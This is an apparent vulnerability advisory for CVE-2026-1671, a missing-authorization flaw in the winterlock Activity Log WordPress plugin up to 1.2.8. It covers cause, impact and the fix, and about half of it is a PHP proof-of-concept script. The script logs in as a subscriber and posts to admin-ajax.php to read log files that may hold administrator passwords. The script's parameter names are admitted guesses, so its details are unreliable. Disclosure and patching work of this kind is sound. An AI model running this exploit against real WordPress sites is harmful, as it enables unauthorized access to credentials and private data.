Atomic Edge analysis of CVE-2026-1671 (metadata-based):
This vulnerability in the Activity Log for WordPress plugin (winterlock) up to version 1.2.8 is a Missing Authorization flaw. It allows authenticated attackers with Subscriber-level access to retrieve sensitive information from the plugin’s log files via an unauthorized AJAX endpoint.
Atomic Edge research identifies the root cause as a missing capability check on the `winter_activity_log_action()` function. The vulnerability description confirms this function lacks proper authorization. The CWE-862 classification indicates the plugin likely registers this function as an AJAX handler accessible to all authenticated users. Without a `current_user_can()` check, the function executes regardless of the user’s role.
The exploitation method involves an authenticated attacker sending a crafted AJAX request. The attacker must first obtain a valid WordPress authentication cookie. They then send a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to `winter_activity_log_action`. Based on the plugin slug, the AJAX hook name is inferred. The function likely accepts parameters to specify which log file to read or to filter log entries, exposing sensitive data like administrator passwords logged during activity.
Remediation requires adding a proper capability check before processing the request in the `winter_activity_log_action()` function. The patched version 1.2.9 likely added a check such as `if ( ! current_user_can( ‘manage_options’ ) ) wp_die();`. This restricts access to users with administrative privileges only, aligning with the sensitivity of the log data.
Successful exploitation leads to sensitive information disclosure. The logs could contain administrator passwords, private user data, or other confidential system information recorded by the plugin. Attackers can leverage this data for privilege escalation, account takeover, or further network intrusion. The CVSS score of 6.5 (Medium) reflects the high confidentiality impact (C:H) but no integrity or availability loss.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-1671 - Activity Log for WordPress <= 1.2.8 - Missing Authorization to Sensitive Information Exposure via Log File
<?php
// CONFIGURATION
$target_url = 'https://target-site.com'; // Change this to the target WordPress site URL
$username = 'subscriber_user'; // Attacker's username with Subscriber role
$password = 'subscriber_pass'; // Attacker's password
// WordPress AJAX endpoint
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
// Step 1: Authenticate to WordPress to obtain session cookies
$login_url = $target_url . '/wp-login.php';
$login_data = [
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt'); // Save cookies to file
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Disable for testing only
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$response = curl_exec($ch);
// Step 2: Exploit the missing authorization in the winter_activity_log_action() function
// The exact parameters are inferred from the vulnerability description and plugin purpose.
// The plugin likely accepts parameters to retrieve specific log data.
$exploit_data = [
'action' => 'winter_activity_log_action', // Inferred AJAX action hook from plugin slug
// The function may accept parameters like 'log_file', 'date', or 'filter'.
// Attempt to retrieve all logs or specify a target.
'log_filter' => 'all',
'limit' => '1000'
];
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_data));
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Step 3: Output results
if ($http_code == 200 && !empty($response)) {
echo "[+] Exploit likely successful. Received response:n";
echo $response;
// The response may contain sensitive log entries, including passwords.
} else {
echo "[-] Exploit may have failed. HTTP Code: $http_coden";
echo "Response: $responsen";
}
?>
